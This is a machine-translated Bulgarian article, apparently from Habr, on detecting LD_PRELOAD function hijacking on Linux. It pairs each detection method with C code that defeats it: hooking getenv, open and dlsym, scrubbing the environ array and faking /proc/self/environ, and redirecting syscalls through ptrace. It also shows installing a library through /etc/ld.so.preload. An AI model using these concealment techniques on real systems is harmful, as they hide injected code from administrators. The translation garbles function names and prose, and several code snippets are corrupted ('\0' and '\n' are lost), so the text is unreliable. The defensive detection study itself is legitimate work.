Търси се LD_PRELOAD

Тази бележка е написана през 2014 г., но току-що попаднах под репресии на Хабре и тя не видя бял свят. По време на бана го забравих, но сега го намерих в черновите. Мислех да го изтрия, но може би ще е полезно на някого.

Търси се LD_PRELOAD

Като цяло, малко петъчно администраторско четене по темата за търсене на „включени“ LD_PRELOAD.

1. Кратко отклонение за тези, които не са запознати със заместването на функции

Останалото може да отиде направо стр.2.

Да започнем с класически пример:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Ние компилираме без никакви флагове:

$ gcc ./ld_rand.c -o ld_rand

И както очаквахме, получаваме 5 произволни числа, по-малки от 100:

$ ./ld_rand
53
93
48
57
20

Но нека си представим, че нямаме изходния код на програмата, но трябва да променим поведението.

Нека създадем наша собствена библиотека със собствен прототип на функция, например:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

И сега нашият случаен избор е доста предвидим:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Този трик изглежда още по-впечатляващ, ако първо експортираме нашата библиотека чрез

$ export LD_PRELOAD=$PWD/ld_rand.so

или ще го направим първи

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

и след това стартирайте програмата както обикновено. Не сме променили нито един ред код в самата програма, но нейното поведение сега зависи от малка функция в нашата библиотека. Освен това, по време на писане на програмата, ред дори не съществуваше.

Какво накара нашата програма да използва фалшификат ред? Нека го направим стъпка по стъпка.
Когато дадено приложение стартира, се зареждат определени библиотеки, които съдържат функциите, необходими на програмата. Можем да ги видим с помощта на dd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Този списък може да варира в зависимост от версията на операционната система, но там трябва да има файл libc.so. Именно тази библиотека предоставя системни извиквания и основни функции като отворен, изчистване, ФОРМАТ и т.н. Нашите ред също е сред тях. Нека се уверим в това:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Да видим дали наборът от библиотеки се променя, когато се използва LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Оказва се, че променливата е зададена LD_PRELOAD принуждава нашите да се зареждат ld_rand.so дори въпреки факта, че самата програма не го изисква. И тъй като нашата функция "ранд" зарежда по-рано от ред от libc.so, тогава тя управлява нощувката.

Добре, успяхме да заменим родната функция, но как можем да сме сигурни, че нейната функционалност е запазена и някои действия са добавени. Нека модифицираме нашето произволно:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Тук, като наша „добавка“, отпечатваме само един ред текст, след което създаваме указател към оригиналната функция ред. За да получим адреса на тази функция, от която се нуждаем dlsym е функция от библиотеката libdlкоито ще намерят нашите ред в стек от динамични библиотеки. След което ще извикаме тази функция и ще върнем нейната стойност. Съответно ще трябва да добавим "-ldl" по време на сглобяването:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

И нашата програма използва "роден" ред, като преди това е извършил непристойни действия.

2. Болката от търсенето

Знаейки за потенциална заплаха, искаме да я открием натоварването Беше изпълнено. Ясно е, че най-добрият начин за откриване е да го поставите в ядрото, но се интересувах от опциите за откриване в потребителското пространство.

След това решенията за откриване и тяхното опровержение ще дойдат по двойки.

2.1. Да започнем просто

Както споменахме по-рано, можете да посочите библиотеката, която да се зарежда, като използвате променливата LD_PRELOAD или като го запишете във файл /etc/ld.so.preload. Нека създадем два прости детектора.

Първият е да проверите зададената променлива на средата:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Вторият е да проверите дали файлът е отворен:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Нека заредим библиотеките:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Тук и по-долу [+] показва успешно откриване.
Съответно [-] означава заобикаляне на откриването.

Колко ефективен е такъв детектор? Нека първо да разгледаме променливата на средата:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

По същия начин се отърваваме от чека отворен:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Да, тук могат да се използват други начини за достъп до файла, като например, open64, Stat и т.н., но всъщност са нужни същите 5-10 реда код, за да ги измамят.

2.2. Да продължим

По-горе използвахме getenv() за да получите стойността LD_PRELOAD, но има и начин да стигнете до по-„ниско ниво“. ENV- променливи. Няма да използваме междинни функции, а ще се позоваваме на масива **околна среда, който съхранява копие на средата:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Тъй като тук четем данни директно от паметта, такова повикване не може да бъде прихванато и нашето undetect_getenv вече не пречи на идентифицирането на проникването.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Изглежда, че този проблем е решен? Все още започва.

След стартиране на програмата стойността на променливата LD_PRELOAD хакерите вече не се нуждаят от него в паметта, тоест могат да го прочетат и изтрият, преди да изпълнят каквито и да било инструкции. Разбира се, редактирането на масив в паметта е най-малкото лош стил на програмиране, но как може това да спре някой, който така или иначе не ни желае доброто?

За да направим това, трябва да създадем собствена фалшива функция в него(), в който прихващаме инсталираните LD_PRELOAD и го предайте на нашия линкер:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Ние изпълняваме и проверяваме:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Паметта обаче не е последното място, където можете да намерите заместител LD_PRELOAD, има и /процес/. Да започнем с очевидното /proc/{PID}/environ.

Всъщност има универсално решение за неоткриване **околна среда и /proc/self/environ. Проблемът е в „погрешното“ поведение unsetenv(env).

правилен вариант

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Но нека си представим, че не сме го намерили и /proc/self/environ съдържа "проблемни" данни.

Първо нека опитаме с предишната ни "маскировка":

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

котка използва същото за отваряне на файла отворен(), така че решението е подобно на това, което вече беше направено в раздел 2.1, но сега създаваме временен файл, където копираме стойностите на истинската памет без редове, съдържащи LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

И този етап е преминат:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Следващото очевидно място е /proc/self/maps. Няма смисъл да се спираме на това. Решението е абсолютно идентично с предишното: копирайте данните от файла без редовете между тях libc.so и ld. така че.

2.4. Опция от Chokepoint

Особено ми хареса това решение заради неговата простота. Ние сравняваме адресите на функциите, заредени директно от библшотеката, и „СЛЕДВАЩ“ адреси.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Зареждане на библиотеката с прихващане "open()" и проверете:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Опровержението се оказа още по-просто:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Системни извиквания

Изглежда, че това е всичко, но все още ще се мътим. Ако насочим системното извикване директно към ядрото, това ще заобиколи целия процес на прихващане. Решението по-долу, разбира се, зависи от архитектурата (x86_64). Нека се опитаме да го приложим, за да открием отваряне ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

И този проблем има решение. Откъс от мъж„А:

ptrace е инструмент, който позволява на родителски процес да наблюдава и контролира напредъка на друг процес, да преглежда и променя неговите данни и регистри. Обикновено тази функция се използва за създаване на точки на прекъсване в програма за отстраняване на грешки и наблюдение на системни извиквания.

Родителският процес може да започне проследяване, като първо извика fork(2), а след това полученият дъщерен процес може да изпълни PTRACE_TRACEME, последвано (обикновено) от изпълнение на exec(3). От друга страна, родителският процес може да започне отстраняване на грешки в съществуващ процес с помощта на PTRACE_ATTACH.

При проследяване дъщерният процес спира всеки път, когато получи сигнал, дори ако сигналът е игнориран. (Изключение прави SIGKILL, който работи нормално.) Родителският процес ще бъде уведомен за това чрез извикване на wait(2), след което може да преглежда и променя съдържанието на дъщерния процес, преди да започне. След това родителският процес позволява на детето да продължи да работи, като в някои случаи игнорира изпратения до него сигнал или вместо това изпраща друг сигнал).

По този начин решението е да наблюдавате процеса, като го спирате преди всяко системно извикване и, ако е необходимо, пренасочвате нишката към функция за кука.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

проверете:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Благодаря ви много

Чарлз Хубейн
точка на задушаване
ВалдикСС
Филип Тюен
дерхас

, чиито статии, източници и коментари направиха много повече от мен, за да се появи тази бележка тук.

Източник: www.habr.com

Добавяне на нов коментар